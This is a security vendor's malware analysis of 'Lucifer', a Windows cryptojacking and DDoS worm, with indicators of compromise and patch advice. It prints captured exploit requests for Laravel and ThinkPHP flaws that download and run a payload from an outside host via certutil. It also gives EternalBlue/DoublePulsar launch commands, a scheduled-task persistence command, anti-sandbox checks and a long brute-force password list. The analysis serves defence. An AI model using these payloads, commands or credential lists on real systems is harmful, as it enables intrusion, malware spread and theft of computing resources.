

Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices

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Executive Summary

On May 29, 2020, Unit 42 researchers discovered a new variant of a hybrid cryptojacking malware from numerous incidents of [CVE-2019-9081](#) exploitation in the wild. A closer look revealed the malware, which we've dubbed "Lucifer", is capable of conducting DDoS attacks and well-equipped with all kinds of exploits against vulnerable Windows hosts. The first wave of the campaign stopped on June 10, 2020. The attacker then resumed their campaign on June 11, 2020, spreading an upgraded version of the malware and wreaking havoc. The sample was compiled on Thursday, June 11, 2020 10:39:47 PM UTC and caught by Palo Alto Networks Next-Generation Firewall. At the time of writing, the campaign's still ongoing.

Lucifer is quite powerful in its capabilities. Not only is it capable of dropping XMRig for cryptojacking Monero, it's also capable of command and control (C2) operation and self-propagation through the exploitation of multiple vulnerabilities and credential brute-forcing. Additionally, it drops and runs EternalBlue, EternalRomance, and DoublePulsar backdoor against vulnerable targets for intranet infections.

The exhaustive list of weaponized exploits includes [CVE-2014-6287](#), [CVE-2018-1000861](#), [CVE-2017-10271](#), [ThinkPHP RCE vulnerabilities \(CVE-2018-20062\)](#), [CVE-2018-7600](#), [CVE-2017-9791](#), [CVE-2019-9081](#), [PHPStudy Backdoor RCE](#), [CVE-2017-0144](#), [CVE-2017-0145](#), and [CVE-2017-8464](#). These vulnerabilities have either "high" or "critical" ratings due to their trivial-to-exploit nature and their tremendous impact inflicted on the victim. Once exploited, the attacker can execute arbitrary commands on the vulnerable device. In this case, the targets are Windows hosts on both the internet and intranet, given that the attacker is leveraging certutil utility in the payload for malware propagation. Fortunately, the patches for these vulnerabilities are readily available.

While the vulnerabilities abused and attack tactics leveraged by this malware are nothing original, they once again deliver a message to all organizations, reminding them why it's utterly important to keep systems up-to-date whenever possible, eliminate weak credentials, and have a layer of defenses for assurance.

At the time of writing this blog, the XMR wallet has paid **0.493527** XMR, which converts to approximately \$32 USD.

Palo Alto Networks Next-Generation Firewalls can detect and block all the exploit attempts from this kind of malware family.

This blog includes a detailed analysis of Lucifer and the comparison of version 1 and version 2.

Lucifer: Cryptojacking and DDoS Campaign

A quick note on the name: While the malware author named their malware Satan DDoS, there's another malware, Satan Ransomware, bearing that devious name already. An alternative alias was given to this malware to avoid confusion. As a result of staying faithful to the unique strings in the binary, we are calling this Lucifer.

We identified two versions of Lucifer in our research - we focus first on version 1 and then highlight the changes made to version 2 in the following section.

Lucifer contains three resource sections, each of which contains a binary for a specific purpose. The X86 resource section contains a UPX-packed x86 version of XMRig 5.5.0. The X64 resource section contains a UPX-packed x64 version of XMRig 5.5.0. The SMB section contains a binary, in which there's a lot of Equation Group's exploits like EternalBlue and EternalRomance, and of course the infamous DoublePulsar backdoor implant.

X86: 8edbcd63def33827bfd63bffce4a15ba83e88908f9ac9962f10431f571ba07a8

X64: Ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301

SMB: 5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994

Upon execution, the malware first decrypts its C2 IP address using a xor-incremental encryption and then creates a mutant, using its C2 IP address as the mutant's name.

The decrypted C2 IP address is 122[.]112[.]179[.]189.

The name of the mutant object is \Sessions\1\BaseNamedObjects\122[.]112[.]179[.]189

The pseudo-code for the decryption algorithm is shown in the figure below.

```
def decrypt(input_bytes, const):  
    tmp = (const % 95) + 88  
    ret = ''  
    for b in input_bytes:  
        b = b ^ tmp  
        b = b + tmp  
        ret += chr(b & 0xff)  
    return ret
```

Figure 1. Decryption routine

The malware then proceeds to persist itself by setting the following registry key values.

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\QQMusic - %malware binary path%

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\QQMusic - %malware binary path%

The binary also uses schtasks to set up itself as a task running periodically, ensuring additional layer of persistence. The command executed is shown in Figure 2.

```
cmd /c schtasks /create /sc minute /mo 1 /tn QQMusic ^  
/tr C:\Users\%USERPROFILE%\Downloads\spread.exe /F
```

Figure 2. Execution of schtasks

Once the malware has persisted itself, it then checks whether there's any existing stratum mining information stored in the following registry key value:

HKLM\Software\Microsoft\Windows\CurrentVersion\spreadCpuXmr - %stratum info%

The mining information stored in this registry key value takes precedence if the data is present and legit. Otherwise, the malware falls back to its default data embedded in the binary.

The malware enables itself with debug privilege and starts several threads to carry out its operation in concurrent fashion. The following table summarizes the function of each thread.

Function Address	Description
0x0041C970	Clear event logs, remove a log file, terminate the miner process, and repeat its cleaning routine every 18000 second.
0x00414B60	Collect interface info and send miner status to its C2 server.
0x00419BC0	Check the remote address and remote port of all TCP connections. If there's a match and the connection-owning process is not the malware itself and the process's module path is not C:\ProgramData\spreadXfghij.exe, the malware kills that process and deletes that file. The allow list of ports and IP address are in the Appendix.
0x0041A780	Get or initialize its miner parameter, kill miner and Taskmgr process if necessary, drop the miner binary, and execute the miner binary with the values of the arguments based on the host's memory usage. Both the x86 or x64 bit version of the miner is saved as C:\ProgramData\spreadXfghij.exe
0x00418DC0	Propagate through brute-forcing credentials and exploitation. Also drop the Equation Group's exploits and launch them to propagate through exploiting years old SMB vulnerabilities.
0x0041C840	Copy and save the malware as C:\ProgramData\spread.txt

Table 1. Worker Thread Description

The malware employs different propagation strategies.

The malware scans for both open TCP ports 135 (RPC) and 1433(MSSQL) against the target, be it internal or external, and probes for the credential weakness in attempt to gain unauthorized access.

If the target has the RPC port open, the malware brute-forces the login using the default username administrator and its embedded password list. It then copies and runs the malware binary on the remote host upon successful authentication.

When the malware detects that the target has TCP port 1433 open, it tries to brute-force its way in using its embedded list of usernames and passwords. Upon successful login, the malware then issues shell commands to download and execute a replica of itself on the victim. The aforementioned list of usernames and passwords can be found in the appendix section.

In addition to brute-forcing the credentials, the malware leverages exploitation for self-propagation. For intranet infection, it drops and runs EternalBlue, EternalRomance, and DoublePulsar backdoor against the target when the target has TCP port 445 (SMB) open. Upon successful exploitation, certutil is used to propagate the malware.

The following figures show the parameters passed to launch the exploits and the backdoor implant.

```
cmd /c cd C:\ProgramData\ && svchostlong.exe --TargetIp <IP address> --Target WIN72K8R2 --DaveProxyPort=0 ^
--NetworkTimeout 60 --TargetPort <Port> --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 ^
--GroomAllocations 12 --OutConfig <Config Filename>.txt && serverlong.exe --OutConfig <Config Filename>-dll.txt ^
--TargetIp <IP address>--TargetPort <Port> --DllPayload X64.dll --DllOrdinal 1 ProcessName lsass.exe ^
--ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll ^
&& serverlong.exe --OutConfig <Config Filename>-dll.txt --TargetIp <IP address> --TargetPort <Port> --DllPayload X86.dll ^
--DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll
```

Figure 3. EternalBlue and DoublePulsar combo (for non-XP targets)

```
cmd /c cd C:\ProgramData\ && svchostlong.exe --TargetIp <IP address> --Target XP --DaveProxyPort=0 ^
--NetworkTimeout 60 --TargetPort <Port> --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 ^
--GroomAllocations 12 --OutConfig <Config Filename>.txt && serverlong.exe --OutConfig <Config Filename>-dll.txt ^
--TargetIp <IP address> --TargetPort <Port> --DllPayload X86.dll --DllOrdinal 1 ProcessName lsass.exe ^
--ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll
```

Figure 4. EternalBlue and DoublePulsar combo (for XP targets)

```
cmd /c cd C:\ProgramData\ && svchostromance.exe --OutConfig <Config Filename>.txt --TargetIp <IP address> ^
--TargetPort <Port> --Protocol SMB --Target <Window System Type> --ShellcodeFile Shellcode.ini --PipeName browser ^
--CredChoice 0 --InConfig svchostromance.xml && serverlong.exe --OutConfig <Config Filename>-dll.txt --TargetIp <IP address> ^
--TargetPort <Port> --DllPayload X64.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB ^
--Architecture x64 --Function Rundll && serverlong.exe --OutConfig <Config Filename>-dll.txt --TargetIp <IP address> ^
--TargetPort <Port> --DllPayload X86.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB ^
--Architecture x86 --Function Rundll
```

Figure 5. EternalRomance and DoublePulsar combo (all targets)

In order to infect external hosts, the malware first generates a non-private IP address, and then probes this randomly-selected victim with HTTP requests over a number of ports. The list of ports is available in the Appendix. When the malware receives a valid HTTP response from the victim, it then tries to exploit the target based on the conditions shown in the following table.

Condition	Exploit
HFS found in the HTTP response	CVE-2014-6287
Jetty found in the HTTP response	CVE-2018-1000861
Servlet found in the HTTP response	CVE-2017-10271
No keywords found in the HTTP response	ThinkPHP remote code execution (RCE) vulnerabilities CVE-2018-7600 CVE-2017-9791 CVE-2019-9081 PHPStudy Backdoor remote code execution (RCE)

Table 2. Exploit conditions and CVEs

Since the same vulnerability (e.g ThinkPHP RCE) may be triggered in different endpoints (i.e via different URLs), the malware tries all hardcoded URLs against the victim for each vulnerability before it proceeds to the next target or next exploit attempt.

All the exploits contain the payload that downloads a replica of the malware onto the victim via certutil. The following figures show examples of the attack traffic.

```
GET /public/index.php/index?code=0:44:"Illuminate/Foundation/Testing/PendingCommand":4:{s:10:"*.command";s:6:"system";s:13:"*.parameters";a:1:{i:0;s:2:"cmd.exe /c certutil -urlcache -split -f http://180.126.161.27:19490/spread.txt C:/ProgramData/spread.exe && C:/ProgramData/spread.exe";s:6:"*.app";o:33:"Illuminate/Foundation/Application":2:{s:22:"*.hasBeenBootstrapped";b:0;s:11:"*.bindings";a:1:{s:35:"Illuminate/Contracts/Console/Kernel";a:1:{s:8:"concrete";s:33:"Illuminate/Foundation/Application";}}s:4:"test";o:27:"Illuminate/Auth/GenericUser":1:{s:13:"*.attributes";a:2:{s:14:"expectedOutput";a:1:{i:0;s:1:"1";}}s:17:"expectedQuestions";a:1:{i:0;s:1:"1";}}}} HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
User-Agent: Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec.
```

Figure 6. CVE-2019-9081 traffic

```
GET /index.php?s=index/think\app\invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe /c
certutil -urlcache -split -f http://180.126.161.27:19490/spread.txt C:/ProgramData/spread.exe && C:/ProgramData/
spread.exe HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
User-Agent: Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1
Host:
Connection: close
```

Figure 7. ThinkPHP RCE traffic

After the malware has launched all its worker threads, the malware enters an infinite loop to handle its C2 operation, with a sleep interval of five seconds.

An example of the initial request to its C2 server is shown in Figure 8.

```
00000000 04 02 02 00 81 b9 82 8e 81 86 b8 8e 85 86 8e 85 .....
00000010 82 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 .....
00000020 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 .....
00000030 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 .....
00000040 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 .....
00000050 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 .....
00000060 f0 f0 f0 f0 f0 f0 f0 f0 a7 49 4e 54 4f 47 43 90 .....INTOGC.
00000070 87 90 86 84 b2 49 44 f0 f0 f0 f0 f0 f0 f0 f0 .....ID.
00000080 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 .....
00000090 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 .....
000000A0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 .....
000000B0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 .....
000000C0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f0 f1 f0 f0 .....
000000D0 88 ea f0 f0 84 80 b9 85 f0 f0 f0 f0 f0 f0 f0 f0 .....
```

Figure 8. Initial request to C2 server

Once the malware has established a TCP connection with its C2 server on port 15888, the malware saves that same socket for subsequent C2 control as well as the miner’s status report.

The initial C2 request contains a magic header \x04\x02\x02 and encrypted system information like the host IP address, the system type, system architecture, username, number of processors, and processor frequency. The malware does a decremental-xor encryption on this piece of information before it sends the encrypted data over the wire. The encrypted data can be decrypted using the decryption routine described in Figure 1. For example, the decrypted host IP address in Figure 8 is 192.168.56[.]52. The decrypted Windows system is Windows 7 64Bit, and the decrypted username is Lebron James.

Unlike its very first C2 request message, the rest of the miner’s status report messages are actually clear text. An example packet of the miner’s status report is shown in Figure 9 below.

```
0030 01 00 05 b0 00 00 43 50 55 28 52 75 6e 6e 69 6e .....CP U(Runnin
0040 67 29 7c 30 2e 30 36 7c 31 30 30 25 7c 30 2e 32 g)|0.06| 100%|0.2
0050 38 7c 70 6f 6f 6c 2e 73 75 70 70 6f 72 74 78 6d 8|pool.s upportxm
0060 72 2e 63 6f 6d 3a 33 33 33 33 7c 59 45 53 00 r.com:33 33|YES.
```

Figure 9. Miner’s status report sent to C2 Server

Table 3 summarizes the control codes received from the C2 server and their corresponding functionalities.

C2 Command	Description
4	Perform TCP/UDP/HTTP DoS attack.
5	Reenable DoS attack.

While version 2 and version 1 share a lot of behavioral similarities, version 2 does have exclusive differences that are worth highlighting.

The malware possesses anti-sandbox capability by checking the username and the computer name of the infected host. If it finds a match in its predefined list of names as shown in Table 4, the malware halts itself from proceeding further.

NMSDBOX	Avira
WILBERT-SC	COMPUTERNAME
XPAMASTC	CWSX
Kappa	VBOX
XXXX-OS	cuckoo
cwsx-	nmsdbox
qemu	sandbox
virtual	wilbert-sc
xpamast-sc	xxxx - ox
cuckoosandbox	

Table 4. List of Names

Lucifer also checks for the presence of following device drivers, DLLs, and virtual devices. If any of these objects are detected, the malware enters an infinite loop, stopping its execution from going further.

SbieDrv.sys	Sandboxie.sys
SbieDll.dll	VBoxHook.dll
\\.\VBoxMiniRdrDN	Dir_watch.dll
\\.\pipe\cuckoo	

Table 5. List of Driver Names

In addition to its anti-sandbox techniques, version 2 possesses an anti-debugger technique that can thwart the analysis by passing a format string to OutputDebugStringA() and crashing the debugger.

Once Lucifer has passed all the checks, it decrypts its C2 URL and creates a mutex based on its C2 URL. The new C2 URL is qf2020[.]top, and the decryption algorithm is shown in Figure 1.

There's an additional LNK resource section, in which there's a CVE-2017-8464 exploit used for infection. The binaries in the resource section are encrypted using the aforementioned xor-incremental encryption. The decrypted X86, X64, and SMB binaries are the same as those embedded in version 1 of Lucifer.

LNK (encrypted): 84b0f2e4d222b0a2e34224e60b66340071e0d03c5f1a2af53b6005a3d739915f

LNK (decrypted): 4c729b343ed3186dffdf80a8e3adfea7c2d56a7a06081333030fb4635e09d540

SMB (encrypted): F2d9d7703a5983ae3b7767c33ae79de1db093ea30f97d6b16bb5b62f03e99638

SMB (decrypted): 5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994

X64 (encrypted): 4365c2ba5505afeab2c479a9c546ed3cbc07ace184fe5019947823018feb4265

X64 (decrypted): ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301

X86 (encrypted): b6d4b4ef2880238dc8e322c7438f57b69cec6d44c0599875466a1edb8d093e15

X86 (decrypted): 8edbcd63def33827bfd63bffce4a15ba83e88908f9ac9962f10431f571ba07a8

In contrast to version 1, version 2 of Lucifer has added CVE-2017-8464 to its arsenal and taken out CVE-2018-1000861, CVE-2017-10271, and CVE-2017-9791.

The malware infects its targets through IPC, WMI, SMB, and FTP by brute-forcing the credentials, in addition to MSSQL, RPC, and network shares.

The dropped miner's name is also different; it's C:\ProgramData\Svchocpu.exe instead of C:\ProgramData\spreadXfghij.exe.

Right before proceeding to its C2 operation, Lucifer checks if the host's default language is 0x804 (zh-CN). If it is, the malware sets Internet Explorer's Start Page to www[.]yzzswt[.]com, and starts a thread that keeps killing and visiting that URL in Internet Explorer. The trigger depends on the system's idle time.

While Lucifer version 2 has new C2 at qf2020[.]top:19370, its C2 operation is still the same.

Conclusion

Lucifer is a new hybrid of cryptojacking and DDoS malware variant that leverages old vulnerabilities to spread and perform malicious activities on Windows platforms. Applying the updates and patches to the affected software are strongly advised. The vulnerable software includes Rejetto HTTP File Server, Jenkins, Oracle Weblogic, Drupal, Apache Struts, Laravel framework, and Microsoft Windows. Strong passwords are also encouraged to prevent dictionary attacks.

Palo Alto Networks customers are protected from the attacks by the following products and services:

- Next-Generation Firewalls with Threat Prevention licenses can block the exploits and C2 traffic with best practice configuration.
- WildFire can stop the malware with static signature detections.
- AutoFocus customers can track this activity with the Lucifer tag.

IoCs (Lucifer Version1)

NBI

Malware Hosting Site:

180[.]126[.]161[.]27

210[.]112[.]41[.]71

Mining Protocol

1. stratum+tcp://pool.supportxmr.com:3333

2. stratum+tcp://gulf.moneroocean.stream:10001

C2

122[.]112[.]179[.]189:15888 (version 1)

HBI

SHA256 - Malware

94f0e2aa41e1703e37341cba0601441b2d9fa2e11615cad81ba5c93042c8f58c spread.txt (version 1)

SHA256 - Embedded Binaries in the Resource Section

8edbcd63def33827bfd63bffce4a15ba83e88908f9ac9962f10431f571ba07a8 X86

Ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301 X64

5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994 SMB

SHA256 - Binaries Extracted from SMB.exe

ff8c9d8c6f16a466d8e598c25829ec0c2fb4503b74d17f307e13c28fd2e99b93 Shellcode.ini

7417daf85e6215dedfd85ca8bfafcf643c8afe0debcf983ad4bacdb4d1a6dbc X64.dll

de23da87e7fbecb2eaccbb85eeff465250dbca7c0aba01a2766761e0538f90b6 X86.dll

f06d02359666b763e189402b7fbf9dfa83ba6f4da2e7d037b3f9aebefd2d5a45 adfw-2.dll

c51bce247bee4a6f4cd2d7d45483b5b1d9b53f8cc0e04fb4f4221283e356959d adfw.dll

d3db1e56360b25e7f36abb822e03c18d23a19a9b5f198e16c16e06785fc8c5fa cnli-0.dll

db0831e19a4e3a736ea7498dadcd2d6702342f75fd8f7bae1894ee2e9738c2b4 cnli-1.dll

0439628816cabe113315751e7113a9e9f720d7e499ffdd78acbac1ed8ba35887 coli-0.dll

b556b5c077e38dcb65d21a707c19618d02e0a65ff3f9887323728ec078660cc3 crli-0.dll

9b8ec5d0c10ccdd3933b7712ba40065d1b0dd3ffa7968fb28ad426cd5eee5001 dmgd-1.dll

50f329e034db96ba254328cd1e0f588af6126c341ed92ddf4aeb96bc76835937 dmgd-4.dll

19690e5b862042d9011dbdd92504f5012c08d51efca36828a5e9bdfe27d88842 esco-0.dll

3fcffe9eae90ec365efb361674613ac95de50b2ccfd634c24491923f85c309a5 etch-0.dll

fe4640fefa4bef02041a771a206f9184adb38de051f0d8726c4579736fe13bb6 etchCore-0.x64.dll

3596e8fa5e19e860a2029fa4ab7a4f95fadf073feb88e4f82b19a093e1e2737c etchCore-0.x86.dll

7ddbade1f4fcb48f254e7defa1ab5ec568e8ff0403693860b76870e11816aee6 eteb-2.dll

8a5cce25f1bf60e716709c724b96630b95e55cc0e488d74d60ea50ffba7d6946 etebCore-2.x64.dll

609ed51631da2defa34d58f60dc2a0f38e1574d8cf07647b844fc8b95de4bd8c etebCore-2.x86.dll

15292172a83f2e7f07114693ab92753ed32311dfba7d54fe36cc7229136874d9 exma-1.dll

c977ac10aa3d2250a1af39630f532184a5185f505bcd5f03ea7083a3a701a969 exma.dll

b1d48e8185d9d366dce8c723ba765d6c593b7873cb43d77335084b58bbc7cb4d iconv.dll
d3c6985d965cad5bff6075677ed8c2cafee4c3a048fb5af81b442665c76dff7b libcurl.dll
5f30aa2fe338191b972705412b8043b0a134cdb287d754771fc225f2309e82ee libeay32.dll
36b0fa6c0da7434707e7e330f40316458c0c1edc39b80e2fe58745cd77955eb3 libiconv-2.dll
aceb27720115a63b9d47e737fd878a61c52435ea4ec86ba8e58ee744bc85c4f3 libxml2.dll
df9200ba0d967487b9eb9627078d7faa88072c493b6d9e2b68211c14b06e9f4e pcla-0.dll
17d6dde8a6715b9311734cb557b76160a22e340785b3950eae23aae67b0af6a8 pcre-0.dll
93f0a1fe486ad222b742e451f25f4c9219b1e0f5b4273a15ce08dd714827745a pcrecpp-0.dll
1c8100aca288483d5c29dcf33df887e72513f9b1cb6d0c96045401981351307c pcreposix-0.dll
cde45f7ff05f52b7215e4b0ea1f2f42ad9b42031e16a3be9772aa09e014bacdb posh-0.dll
47e16f7db53d9adf24d193ff4d523b1bc7ae59ff8520cfa012365bdb947c96f9 posh.dll
f8ee4c00a3a53206d8d37abe5ed9f4bfc210a188cd5b819d3e1f77b34504061e riar-2.dll
55039ab48c0916a38f1ceee08ba9f9cf5f292064cf3ee6631f22becde5e74b2d riar.dll
15ffbb8d382cd2ff7b0bd4c87a7c0bff1541c2fe86865af445123bc0b770d13 serverlong.exe
a46481cdb4a9fc1dbdcccc49c3deadbf18c7b9f274a0eb5fdf73766a03f19a7f serverlong.fb
cf33a92a05ba3c807447a5f6b7e45577ed53174699241da360876d4f4a2eb2de serverlong.xml
be8eb97d8171b8c91c6bc420346f7a6d2d2f76809a667ade03c990feffadaad5 ssleay32.dll
85b936960fbe5100c170b777e1647ce9f0f01e3ab9742dfc23f37cb0825b30b5 svchostlong.exe
ad3c0b153d5b5ba4627daa89cd2adbb18ee5831cb67feeb7394c51ebc1660f41 svchostlong.fb
756f44f1d667132b043bfd3da16b91c9f6681e5d778c5f07bb031d62ff00d380 svchostlong.xml
b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b svchostromance.exe
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\Sessions\1\BaseNamedObjects\122.112.179.189

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Added/Modified Registry Key Value

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\QQMusic - %malware binary path%

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\QQMusic - %malware binary path%

HKLM\Software\Microsoft\Windows\CurrentVersion\spreadCpuXmr - %stratum info%

Deleted Registry Key

HKCU\Software\RealVNC\vncviewer\KnownHosts

HKCU\Software\RealVNC\vncviewer\MRU

Created Files

C:\ProgramData\spread.txt

C:\ProgramData\index.html

C:\ProgramData\spreadXfghij.exe

C:\ProgramData\SMB.exe

C:\ProgramData\svchostlong.exe

C:\ProgramData\X86.dll

C:\ProgramData\X64.dll

%TEMP%\<4-random-lower-case-characters>.exe

Deleted Files

C:\Windows\SysWOW64\rserver30\Radm_log.htm

C:\ProgramData\X86.dll

C:\ProgramData\X64.dll

IoCs (Lucifer Version2)

NBI

Malware Hosting Site

121[.]206[.]143[.]140

Mining Protocol

1. stratum+tcp://pool.supportxmr.com:8080
2. stratum+tcp://gulf.moneroocean.stream:10001

C2

qf2020[.]top:19370

HBI

SHA256 - Malware

66d619ca5e848ce0e4bcb1252ff8a4f0a060197a94810de85873c76fa3826c1e spread.txt

SHA256 - Embedded Binaries in the Resource Section

84b0f2e4d222b0a2e34224e60b66340071e0d03c5f1a2af53b6005a3d739915f LNK encrypted
4c729b343ed3186dffdf80a8e3adfea7c2d56a7a06081333030fb4635e09d540 LNK decrypted
f2d9d7703a5983ae3b7767c33ae79de1db093ea30f97d6b16bb5b62f03e99638 SMB encrypted
5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994 SMB decrypted
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b6d4b4ef2880238dc8e322c7438f57b69cec6d44c0599875466a1edb8d093e15 X86 encrypted
8edbcd63def33827bfd63bffce4a15ba83e88908f9ac9962f10431f571ba07a8 X86 decrypted

SHA256 - Binaries Extracted from SMB.exe

<Same as version 1>

SHA256 - Files Extracted from decrypted LNK

45d943c1a4e3615a52f7561791c331cd7d996dd6ddc5421fab78c2d734fed6b6 AIGrEPvEOTXqjEaw_O.lnk

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Mutex

qf2020.top

Added/Modified Registry Key Value

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\QQMusic - %malware binary path%

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\QQMusic - %malware binary path%

HKLM\Software\Microsoft\Windows\CurrentVersion\spreadCpuXmr - %stratum info%

HKCU\Software\Microsoft\Internet Explorer\MAIN\Start Page - http://www[.]yzzswt[.]com

HKLM\Software\Microsoft\Internet Explorer\MAIN\Start Page - http://www[.]yzzswt[.]com

Deleted Registry Key

<Same as version 1>

Created Files

C:\ProgramData\spread.txt

C:\ProgramData\index.html

C:\ProgramData\spreadXfghij.exe

C:\ProgramData\SMB.exe

C:\ProgramData\svchostlong.exe

C:\ProgramData\X86.dll

C:\\ProgramData\\X64.dll

%TEMP%\\<4-random-lower-case-characters>.exe

K:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\spread.exe

K:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\spread.exe

%ROOT PATH%\\OuWZjtdbLqFVMSLF.dll

C:\\ProgramData\\CVE147159.exe

C:\\CVE\\

Deleted Files

C:\\Windows\\SysWOW64\\rserver30\\Radm_log.htm

C:\\ProgramData\\X86.dll

C:\\ProgramData\\X64.dll

K:\\spread.txt

C:\\ProgramData\\CVE147159.exe

C:\\CVE\\

Appendix

Allow list of Remote IP Addresses

94.23.23.52

91.121.140.167

149.202.83.171

139.99.124.170

37.187.95.110

94.23.247.226

139.99.125.38

18.180.72.219

3.0.193.200

139.180.131.153

45.32.24.80

116.203.73.240

44.202.105.45

95.179.220.100
139.99.100.250
149.28.17.136
45.76.206.51
142.44.240.132
94.23.23.52
139.99.123.196
94.130.12.27
178.63.100.197
107.178.104.10
92.110.160.114
94.130.12.30
37.59.52.83
104.140.201.102
95.216.46.125
3.253.40.188
3.253.40.189
45.125.194.18
45.125.194.34
78.47.158.234
47.101.30.124
203.107.32.162
47.102.39.92
47.102.251.102
47.110.199.70
139.224.168.24
47.110.190.245
139.224.219.119
139.224.20.173
203.107.40.49

116.211.169.162
218.11.2.44
107.191.99.221
107.191.99.95
3.112.214.88
47.241.2.137
206.189.33.65
161.117.192.8
47.244.176.59
210.1.226.51
116.203.61.78
35.163.175.186
178.128.107.204
45.77.31.97
172.104.91.217
103.101.30.10
139.99.72.56
176.9.4.26
149.202.214.40
37.59.43.136
37.59.44.193
37.59.43.131
88.99.242.92
88.99.193.240
94.130.165.85
94.130.165.87
91.121.2.76
37.59.54.205
37.59.55.60
37.59.44.93

37.187.154.79

37.59.45.174

176.9.53.68

78.46.91.134

94.23.41.130

176.9.2.144

178.63.48.196

78.46.89.102

37.59.56.102

94.23.212.204

188.165.254.85

46.105.103.169

76.9.50.126

37.59.51.212

91.121.87.10

94.130.206.79

188.165.199.78

176.31.117.82

188.165.214.95

94.23.206.130

176.9.63.166

94.130.164.60

78.46.91.171

188.165.214.76

37.59.44.68

94.23.8.105

37.59.49.7

183.201.229.131

117.139.17.68

223.167.166.51

111.7.68.222

Allow list of Remote Ports

3333

5555

7777

45700

45560

13531

2222

List of Usernames - Credential Brute-Forcing

sa

SA

su

kisadmin

SQLDebugger

mssql

Chred1433

List of Passwords - Credential Brute-Forcing

“\x20”

administrator

sa

SA

123456

1

123

123123

112233

1234

12345

1234567

12345678

123456789

1234567890

0123456789

a123456

admin

qaz123

1sanjose

123.com

525464

123.qwe

process

temp

1234qwer

123asd

Chred1433

admin888

1qaz3edc

1qaz4rfv

3edc4rfv

4rfv5tgb

5tgb6yhn

6yhn7ujm

7ujm8ik,

aaa123!@#

test1234

1qaz@wsx#edc

admin123456789

qazwsx123

qaz123wsx

admin123

password

qwe123

qweqwe

aaa123

pass@word1

Password1234

asd@123

Sa@123

!QAZxsw2

masterkey

sa123!@#

abc@123

!QAZ1qaz

123@abcd

111

111111

11111111

1111111111

1111

888

888888

8888

88888888

666

6666

666666

66666666

abc123

123abc

1ab2c3

zxcvbn

zxcvbnm

asdasd

asdfghjkl

asd123

qweasd

qweasdzxc

QAZWSX

123qwe@#

admin@123

123abc!@#

1qaz2ws

zaq12wsx

P@SSW0rd

a123

a111111

a123456789

a1234

p@ssw0rd

P@ssW0rd

P@ssw0rd

aa123456

1234abcd

qwer1234!@#\$

159357

336699

1qaz2wsx

paSSword

password1

654321

qwerty

123456a

pa\$\$word

passw0rd

PasswOrd

qwe.123

zxc123!@#

root

a1b2c3

admin123456

pass

pass123

zxc123

user

11223344

asd123456

password123

121212

monkey

princess

guest

123123123

qazwsx

computer

12345a

1111222

111222

123456789a

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1qazXSW@

1qaz@WSX

123!@#qwe

1q2w3e4r5t

qwertyuiop

q1w2e3

123321

123qwe

1q2w3e4r

7777777

987654321

qwerty1

222222

1g2w3e4r

zag12wsx

system

555555

1q2w3e

admin123!@#

P@\$w0rd

123698745

asdfjkl

21212121

456852

a12345678

money123

1qazxsw2

1234rewq

12qwazsx

22222222

zxcvbnm123

password11

zxcv

a1b2c3d4

qqqqqq

aaa111

111aaa

369369369

369369

123454321

qw123321

asdasdasd

111222333

asdfghj

ypbwkyfjhyhgzi

ly1234

vice_1433 vice

sa@123

Admin123

123qweASD

Abc123

Sa123456

sa123456

sa123

target123

root123

mssql

sqlserver

server

client

login

test

qq123456

a123123

18n28n24a5

test1

QAZ123

Aa123456.

test123

super

text

vice

ifuckyounow

zXJl@mwZ

!qaz1QAZ

!qaz2WSX

!qaz3wsx

!qaz@WSX

qqaazz

z123456

zaqwsx

1qwerty

musica

!QAZ2wsx

abcd1234

123456aa

1234321

